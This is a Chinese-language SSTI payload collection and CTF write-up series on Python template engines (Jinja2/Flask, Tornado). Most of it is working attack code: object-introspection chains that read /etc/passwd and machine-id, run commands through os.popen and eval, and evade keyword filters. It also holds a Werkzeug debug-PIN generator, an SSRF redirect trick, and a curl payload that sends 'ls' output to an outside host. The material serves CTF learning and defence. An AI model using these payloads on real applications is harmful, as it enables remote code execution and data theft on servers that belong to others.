SSTI--服务端模板注入

SSTI-paylaod-合集

注入注入就是用户的输入数据没有被正确处理时,使得该数据成了程序段中的一部分与原程序一起执行,进而改变了原程序的执行逻辑。

主要涉及的模板python:jinja2makotornadodjangoPHP:smartytwigJava:jadevelocity等相关运用渲染函数生成HTML的时候会出现SSTI问题。

SSTI成因举例:(python下flask框架)

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)
return render_template_string(template)

if __name__ == '__main__':
    app.debug = True
    app.run()

这段代码是典型的SSTI漏洞,成因是由于:render_template_string()函数在渲染模板时采用了%s最为字符的动态替换,且由于Flask框架使用jinja2作为模板渲染引擎,且{{}}jinja2中是作为变量标识符存在的,在其渲染时会将其中的内容当作变量解析替换,也即执行其中的代码。

SSTI的原理很简单,就是利用非法的语句,将模板中的占位符替换掉,从而getshell

在了解下python环境下触发SSTI需要掌握的语法

常用函数

__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。是类的一个内置属性,表示类的类型,返回也是类的实例的属性,表示实例对象的类。

>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>
>>> {}.__class__
<class 'dict'>

__bases__:用来查看类的基类也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组注意是直接父类!!!
使用语法:类名.__bases__

__base__:返回一个基类。

>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ().__class__.__bases__
(<class 'object'>,)
>>> [].__class__.__bases__
(<class 'object'>,)
>>> {}.__class__.__bases__
(<class 'object'>,)

__mro__:获取这个类的继承调用顺序,同样返回类元组。

// 返回的是一个类元组,可使用索引获取基类
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)

request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

class X(object):pass       # X类继承于object
class Y(object):pass       # Y类继承于object
class A(X, Y):pass         # A类继承于X、Y
class B(Y):pass            # B类继承于Y
class C(A, B):pass         # C类继承于A、B
print C.__mro__
# (<class '__main__.C'>, <class '__main__.A'>,<class '__main__.X'>, <class '__main__.B'>, <class '__main__.Y'>, <type 'object'>)

__subclasses__():查看当前类的子类,即返回object的子类;返回一个列表,等同于object.__subclasses__()

>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, ......
<type 'MultibyteStreamWriter'>]

__import__():函数用于动态加载类和函数。如果一个模块经常变化就可以使用__import__()来动态载入,就是import。语法:__import__(name模块名)

__dict__:类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类__dict__

__init__ 类的初始化方法 (在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)

__globals__:函数会以字典类型返回当前位置的全部全局变量func_globals等价

__builtins__: 查看其引用( 其中包含了大量内置函数,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。 )

通过这些类继承的方法,我们就可以从任何一个变量,回溯到基类中去,再获得到此基类所有实现的类,就可以获得到很多的类。

一些常用的方法

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

利用方法

根据上面提到的类继承的知识,我们可以总结出一个利用方式(这也是python沙盒溢出的关键):从变量->对象->基类->子类遍历->全局变量这个流程中,找到我们想要的模块或者函数。

# example  是网上看的,拿来举例用
# 如何才能在python环境下,不直接使用open而来打开一个文件?
# 从任意一个变量中回溯到基类,再去获得基类实现的文件类就可以实现。
# python2
>>> ''.__class__
<type 'str'>
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[-1].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>......]
# 查阅起来有些困难,来列举一下
>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
......

# 可以发现索引号为40指向file类,此类存在open方法
>>> ''.__class__.__mro__[-1].__subclasses__()[40]("C:/Users/TPH/Desktop/test.txt").read()
'This is a test!'

常见可利用类

文件读取

方法一----子模块利用

存在的子模块可以通过.index()来进行查询,如果存在的话返回索引

>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40

flie类:(在字符串的所属对象种获取str的父类,在其object父类种查找其所有子类,第41个为file类)

''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()

_frozen_importlib_external.FileLoader类:(前置查询一样,其是第91个类)

''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")

方法二----通过函数解析->基本类->基本类子类->重载类->引用->查找可用函数

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #将read() 修改为 write() 即为写文件

命令执行

方法一----利用eval进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

方法二----利用warnings.catch_warnings进行命令执行

查看warnings.catch_warnings方法的位置

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

查看linecatch的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

查找os模块的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144

调用system方法

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

方法三----利用commands进行命令执行

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

遇到SSTI题目时的思路,考虑查看配置文件或者考虑命令执行。

查配置文件

每个python框架都会内置一些全局变量,对象,函数等等,可以直接访问或调用。

例题-1

2018-护网杯-easy_tornado,这道题的核心就在于,tornado框架提供了一个handler.settings便捷访问配置文件的对象,其指向RequestHandler.application.settings调用就可以获取当前application.settings,从中获取敏感信息。

三个提示:

file?filename=/flag.txt&filehash=af201691a207d83b69942d2574b9302f
/flag.txt
flag in /fllllllllllllag

file?filename=/welcome.txt&filehash=beb7c79b77564784ecb60ef154dcffdb
/welcome.txt
render

file?filename=/hints.txt&filehash=e42fbe1f91929f2e9787eaef49e0c3c2
/hints.txt
md5(cookie_secret+md5(filename))

提示中一三很明显了,乍一看二挺懵的,但是经过了解可知,rendertornado模板中的一个渲染函数,那这可以确定是SSTI了,不然别招也做不出来。

如上所说,该模板有一个handler.settings,访问看看能不能套点敏感信息。

但是这里有个点是访问的请求时error?msg={{}}花括号内为1时正常回显,输入其他时,大多出现500状态码,应该是被ban掉了。

算了,也不花里胡哨的了,就直接进设置瞅瞅吧。

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'd40086ea-69d3-4f80-b23a-12a72077e451'}

真实诚,直接给出了关键信息cookie_secret,脚本一把梭:

md5('d40086ea-69d3-4f80-b23a-12a72077e451'.md5('/fllllllllllllag'))

a9f8006a3a4cc62e81dfce0b6538de80结合文件名访问,getflag!

网站源码

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
"""
    Author : Virink <virink@outlook.com>
    Date   : 2018-10-15 14:34:35
"""
import tornado.ioloop
import tornado.web
import hashlib
import os
import uuid

settings = {
    "cookie_secret": str(uuid.uuid4()),
    "compiled_template_cache": False,
    'autoreload': True
}

files = {
    "/welcome.txt": "render",
    "/hints.txt": "md5(cookie_secret+md5(filename))",
    "/flag.txt": "flag in /fllllllllllllag",
    "/fllllllllllllag": os.environ['FLAG'],
}


def md5(x):
    _md5 = hashlib.md5()
    _md5.update(x)
    return _md5.hexdigest()


def gen_hash(filename):
    return md5(settings['cookie_secret']+md5(filename))


class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write(
            '<br/>'.join(
                ["<a href='/file?filename=%s&filehash=%s'>%s</a>" % (i, gen_hash(i), i) for i in files if 'lllllll' not in i]))


class FileHandler(tornado.web.RequestHandler):
    def get(self):
        filename = self.get_argument('filename', '')
        filehash = self.get_argument('filehash', '')
        for key in files:
            if filename == key and filehash == gen_hash(key):
                return self.write("%s<br>%s" % (key, files[key]))
        self.redirect("/error?msg=Error", permanent=True)


class ErrorHandler(tornado.web.RequestHandler):
    def get(self):
        msg = self.get_argument('msg', 'Error')
        bans = ["\"", "'", "[", "]", "_", "|", "import",
                "os", "(", ")", "+", "-", "*", "/", "\\", "%", "="]
        for ban in bans:
            if ban in msg:
                self.finish("ORZ")
        with open("error.html", 'w') as f:
            f.write("""<html>
                <head>
                <style>body{font-size: 30px;}</style>
                </head>
                <body>%s</body>
                </html>\n""" % msg)
            f.flush()
        self.render("error.html")


def make_app():
    return tornado.web.Application([
        (r"/", MainHandler),
        (r"/file", FileHandler),
        (r"/error", ErrorHandler),
    ], **settings)


if __name__ == "__main__":
    app = make_app()
    app.listen(5000)
    print("[+] http://127.0.0.1:5000/")
    tornado.ioloop.IOLoop.current().start()

例题-2

westerns_2018_shrine,没想到SSTI的题也有开局送源码的套路

import flask 
import os 

app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 

@app.route('/') 
def index(): 
    return open(__file__).read() 

@app.route('/shrine/') 
def shrine(shrine): 
    def safe_jinja(s): 
        s = s.replace('(', '').replace(')', '') 
        blacklist = ['config', 'self'] 
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
    return flask.render_template_string(safe_jinja(shrine)) 

if __name__ == '__main__': 
    app.run(debug=True)

源码中app.config['FLAG'] = os.environ.pop('FLAG')提示flag在配置文件中,但有WAF;题目仍旧是flask框架,主要考点在shrine的限制函数,过滤了括号,还有黑名单。

题目中有两个路由第一个@app.route('/')用来显示源码,第二个路由@app.route('/shrine/')是在/shrine/路径下提交参数 ,模板中设定{{ }}包括的内容为后端变量,% %包括的内容为逻辑语句。

经过最简单的测试,/shrine/{{7*7}}返回值为49,说明是jinja2+flask模板注入,原因如下图:

config没有过滤的情况下,可以直接传入config获取设置信息;如果configban,还可以使用self.dict获取信息;但现在二者都被ban掉了,这个时候为获取信息, 仍需要用到一些变量或者函数,但是此时还过滤了括号,所以只能选在使用内置函数进行查询。

在带佬的wp引领下了解到python有两个此处可用的内置函数:url_forget_flashed_message通过这两个函数,来查询现在app内的全局变量。(get_flashed_messages函数返回之前在Flask中通过flash()传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages()方法取出,闪现信息只能取出一次,取出后闪现信息会被清空。)

#http://192.168.32.138:65535/shrine/{{url_for.__globals__}}
#http://192.168.32.138:65535/shrine/{{get_flashed_messages.__globals__}}
{'find_package': <function find_package at 0x7feca7eea140>, 
 '_find_package_path': <function _find_package_path at 0x7feca7eea0c8>, 
 'get_load_dotenv': <function get_load_dotenv at 0x7feca7ee2a28>, 
 '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 
 'current_app': <Flask 'app'>, 
 ......

在第五行看到current_app变量,且提示对应的就是当前app,查看当前config试试

#http://192.168.32.138:65535/shrine/{{url_for.__globals__['current_app'].config}}
#http://192.168.32.138:65535/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
<Config { 
...... 
'FLAG': 'flag{Tr0jAn_V1rU4}', 
......}>

命令执行

例题-3

一个无过滤啥也没有的基础SSTI来自攻防世界。打开页面就告诉我们了是python template injection

模糊测试:证明存在模板注入。

http://127.0.0.1:8008/{{7*7}}
URL http://127.0.0.1:8008/49 not found
# 直接脚本构造payload
{% for c in ''.__class__.__base__.__subclasses__() %}{% if 'os' in c.__init__.__globals__ %}{{ c.__init__.__globals__['os'].popen('whoami').read() }}{% endif %}{% endfor %}

自己写这个payload也能执行,但是问题出在for循环无法停止,查了几篇文章,好像带佬们都没遇到这个问题。看wp种大多数都是已知某个类中的某个对象可以调用os模块从而直接利用,还是菜了。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

页面源码:

from flask import Flask, request, render_template_string
import urllib.request, urllib.parse

app = Flask(__name__)


@app.route("/")
def hello():
    return "python template injection"


@app.errorhandler(404)
def page_not_found(error):
    url = urllib.parse.unquote(request.url)
    return render_template_string("<h1>URL %s not found</h1><br/>" % url), 404


if __name__ == '__main__':
    app.run(debug=False, host='127.0.0.1', port=8000)

例题-4

miniL Personal_IP_Query 前段时间西电的校赛,这是一道SSTI加了一些过滤可以来思考思考,学习学习思路了。

打开页面就显示我的IP地址,属实有点懵圈,但直觉告诉我得抓包瞅瞅了。加了一个XFF头就可以控制了,但是好像没什么卵用......秃然,意外发现,我少打了一个点,它就没有更改直接显示,说明参数不局限于IP地址,继续挖掘。

当我输入1+1时,显示hacker!!!Get out!!!有点意思,抬眼一瞅,看到Server:gunicorn/20.0.4,诶?这不是python嘛!凭借我博()学()的知识储备,立刻就判断出这有可能是SSTI!(就没了解过几个python漏洞......)

模糊测试:

X-Forwarded-For: {{7*7}}
Your IP: 49

十分优秀,SSTI实锤!继而查config没有什么有用的信息,那就命令执行,不过这次没有像之前一样,放任自流,它加了些过滤,针对性fuzz一波:' " _被过滤掉了......陷入困境......

看了看佬佬的贴子,学到了新技能 flag0师傅evi0s师傅byc_404

利用[request.args.x1]

GET /?x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=popen&x7=cat+/flag HTTP/1.1
X-Forwarded-For: {{[][request.args.x1][request.args.x2][request.args.x3]()[127][request.args.x4][request.args.x5][request.args.x6](request.args.x7).read()}}

全是中括号替换,附一个小脚本用来筛查所有子类回显中,目标子类所在位置。

import re
string = '''(回显中所有类)'''
    
ClassList = re.split(",", string)

for i in range(0, len(ClassList)):
    print(i, ClassList[i])
    if 'os._wrap_close' in ClassList[i]:
        print(i)
        break

看了wp之后又学到一个新姿势:

GET /?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__
&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat+/flag').read() HTTP/1.1
X-Forwarded-For:{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}

其他组合拳----SQL注入+SSTI

例题-5

科来杯-easy_flask这个题没有找到可复现的地址,有兴趣的小伙伴可以自己查wp,由于没有加过滤这个题就是一个思路问题,其余并不难。

例题-6

安恒八月七夕赛-ezflask

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)


@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base', 'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

这个过滤很安恒,十分的严密,甚至attr也过滤了,也没法利用__getattribute__编码绕过,当时完全没思路,后来看了颖奇师傅的思路才知道是利用__globals__,上payload

# Author:颖奇L'Amore
{% set xhx = (({ }|select()|string()|list()).pop(24)|string()) %}  # _
{% set spa = ((app.__doc__|list()).pop(102)|string()) %}  #空格
{% set pt = ((app.__doc__|list()).pop(320)|string()) %}  #点
{% set yin = ((app.__doc__|list()).pop(337)|string()) %}   #单引号
{% set left = ((app.__doc__|list()).pop(264)|string()) %}   #左括号 (
{% set right = ((app.__doc__|list()).pop(286)|string()) %}   #右括号)
{% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349) %}   #斜线/
{% set bu = dict(buil=aa,tins=dd)|join() %}  #builtins
{% set im = dict(imp=aa,ort=dd)|join() %}  #import
{% set sy = dict(po=aa,pen=dd)|join() %}  #popen
{% set os = dict(o=aa,s=dd)|join() %}  #os
{% set ca = dict(ca=aa,t=dd)|join() %}  #cat
{% set flg = dict(fl=aa,ag=dd)|join() %}  #flag
{% set ev = dict(ev=aa,al=dd)|join() %} #eval
{% set red = dict(re=aa,ad=dd)|join() %}  #read
{% set bul = xhx*2~bu~xhx*2 %}  #__builtins__

# 拼接起来 __import__('os').popen('cat /flag').read()
{% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %} 


{% for f,v in y1ng.__init__.__globals__.items() %} #globals
    {% if f == bul %} 
        {% for a,b in v.items() %}  #builtins
            {% if a == ev %} #eval
                {{b(pld)}} #eval(pld)
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

这个payload虽不复杂,但是不仅涉及了基础的Flask模板注入,还用到了Flask的过滤器,这里拓展一下。

Flask过滤器

flask过滤器和其它语言的过滤器作用几乎一致,对数据进行过滤,可以参考php伪协议中的php://filter协议,这里就不赘述了

1.使用方式

变量|过滤器
variable|filter(args)    
variable|filter        //如果过滤器没有参数可以不加括号

2.与php://filter相同,都支持链式过滤;

3.列举一下常用的过滤器(不是所有过滤器,只是一部分相对常用的):

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()e:转义字符,会将<>等符号转义成HTML中的符号。显例:content|escapecontent|e

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}}

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

例题-7

GACTF simpleflask, 经典的SSTI题目,是新版本的werkzurg,需要用新版本的PIN码。但我当时是非预期直接读取的。

# 直接读取
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__.open("/etc/passwd").read()}}
# flag关键字绕过
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__.open("/f""lag").read()}}
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__.open("/FLAG".lower()).read()}}
# pin码
# machine-id_1
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/etc/machine-id").read()}}
# machine-id_2
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/proc/self/cgroup").read()}}
# user 就是root
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}
# MAC 地址
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/sys/class/net/eth0/address").read()}}
import hashlib
from itertools import chain
probably_public_bits = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/dist-packages/flask/app.py'
]

private_bits = [
    '2485378088968',
    'a8eb6cac33e701ae867269db5ce80e7f62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

源码如下:

from flask import flask, request, render_template_string, redirect, abort
import string

app = flask(__name__)


white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
black_list = ["codecs", "system", "for", "if",
              "end", "os", "eval", "request", "write",
              "mro", "compile", "execfile", "exec",
              "subprocess", "importlib", "platform", "timeit",
              "import", "linecache", "module", "getattribute",
              "pop", "getitem", "decode", "popen",
              "ifconfig", "flag", "config"]


def check(s):
    # print(len(s))
    if len(s) > 131:
        abort(500, "hacker")
        # abort(500, "hacker len")
    for i in s:
        if i not in white_list:
            abort(500, "hacker")
            # abort(500, "hacker white")
    for i in black_list:
        if i in s:
            abort(500, "hacker")
            # abort(500, "hacker black")


@app.route('/', methods=["post"])
def hello_world():
    try:
        name = request.form["name"]
    except exception:
        return render_template_string("<h1>request.form[\"name\"]<h1>")

    if name == "":
        return render_template_string("<h1>hello world!<h1>")

    check(name)
    template = '<h1>hello {}!<h1>'.format(name)
    res = render_template_string(template)
    if "flag" in res:
        abort(500, "hacker")
    return res


if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=true)

例题-8

GACTF EZFLASK,开局提示性源码

#- * -coding: utf - 8 - * -
from flask
import Flask, request
import requests 
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint = xxxx# hints
    trick = xxxx# trick
    return trick

@app.route('/')
def index(): #app.txt

@app.route('/eval', methods = ["POST"])
def my_eval(): #post eval

@app.route(xxxxxx, methods = ["POST"])# Secret
def admin(): #admin requests

if __name__ == '__main__':
    app.run(host = '0.0.0.0', port = 8080)

可以操作的只有eval下的eval参数,但是题目的WAF非常复杂,过滤了非常多的内容,{}[]()''都被过滤了,好的是._还在。首先发现没有过滤__globals__,传入得到以下信息:

也得到了admin的路由,看到了疑似SSRF的提示,但是没得到端口,无法走下一步,卡死在这儿,后来根据带佬的提示,用到了python的魔术常量。

example

def test(x):
    i = None
    t = x
    a = 1
    b = 2
    c = 3
    d = x + 3
print("co_consts:", test.__code__.co_consts)
# co_consts: (None, 1, 2, 3)

得到了函数内的常量值,用这个方法可以读出题中各个路由的常量值,换言之就是可以读到WAF,我问大哥是怎么猜到用修饰器查看常量的,他是说是在/ctfhint路由下看到返回值是trick,且看起来是常量,再结合之前在TJCTF 2018也见过一个利用co_consts来进行沙箱逃逸看WAF的。所以传入ctf.__code__.co_consts或者ctf.func_code.co_consts成功的读取到了ctf函数内的数据,得到了admin的路由以及提示信息。

# ctf.__code__.co_consts || ctf.func_code.co_consts
(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf<!-- port : 5000 -->', 'too young too simple')
# admin.__code__.co_consts || admin.func_code.co_consts
(None, 'ip', 'port', 'path', 'port ip=x.x.x.x&port=xxx => http://ip:port/path', 4, 'hacker?', 'http://{}:{}/{}', 'timeout', 2, 'requests error')
# admin.__code__.co_names
('request', 'form', 'waf_ip', 'waf_path', 'len', 'requests', 'get', 'format', 'text')

admin路由下给了提示post ip=x.x.x.x&path=xxx => http://ip:port/path,通过__code__读取waf_ip,看到以下内容被ban

('0.0', '192', '172', '10.0', '233.233', '1234567890.', 15, '.', 4)
127.0.0.0/8除了127.0.0.1loopback以外其他都被保留了,然后网络设备见到127.0.0.0/8都会以127.0.0.1来对待,所以只要127.x.x.x即可绕过。

然后结合提示访问到5000端口,又是一个flask

import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
    return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
    return flask.render_template_string(hack)
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

看到了flagconfig里,但是path又过滤了不少玩意儿,属实是有点点恶心;这里有三种方法:

法一:特殊函数绕WAF

# path:过滤了包括 ( ) " , + % 在内的很多符号。但是app,global没有被过滤掉,所以可以构造如下payload
?ip=127.0.1.1&path={{url_for.__globals__['current_app'].__dict__}}&port=5000
?ip=127.0.1.1&path={{get_flashed_messages.__globals__['current_app'].__dict__}}&port=5000

法二:302跳转

因为IP`127.0.0.1 ban掉了,所以可以在自己vps上写跳转页面到127.0.0.1:5000

<?php
header("Location:http:..127.0.0.1:5000/");
?>

然后利用SSRF访问vps,也可以跳转内网。

?ip=(vps地址)&port=8080&path=

再把php脚本做简单修改就可以查看配置文件:

<?php
header("Location: http://127.0.0.1:5000/{{config}}");
# header("Location: http://127.0.0.1:5000/{{config.items()}}");
?>

补充各种花式绕过

绕过中括号

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/sp

在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过

过滤引号

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

过滤双下划线

同样利用request.args属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参

GET值:
{{''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]()'/etc/passwd').read()}}
POST值:
class=__class__&mro=__mro__&subclasses=__subclasses__

过滤关键字

base64编码绕过__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}

同时绕过下划线、与中括号

{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
post:
name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read

绕过.过滤

.也被过滤,使用原生jinja2函数|attr()
request.__class__改成request|attr("__class__")

过滤{{

使用 {% if ... %}1{% endif %}

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}1{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

过滤configrequest以及class

在官方文档中有一个session对象,session是一个dict对象,因此我们可以通过键的方法访问相应的类。由于键是一个字符串,因此可以通过字符串拼接绕过。payload:{{ session['__cla'+'ss__'] }}即可绕过过滤访问到类,进而访问基类等,执行命令。

过滤configrequestclass__init__file__dict____builtines____import__getattr以及os

python3中有一个__enter__方法,也有__globals__方法可用,而且与__init__一模一样。

  • __init__ (allocation of the class)
  • __enter__ (enter context)
  • __exit__ (leaving context)

__enter__仅仅访问类的内容,这已经可以达到我们所需要的目的了。

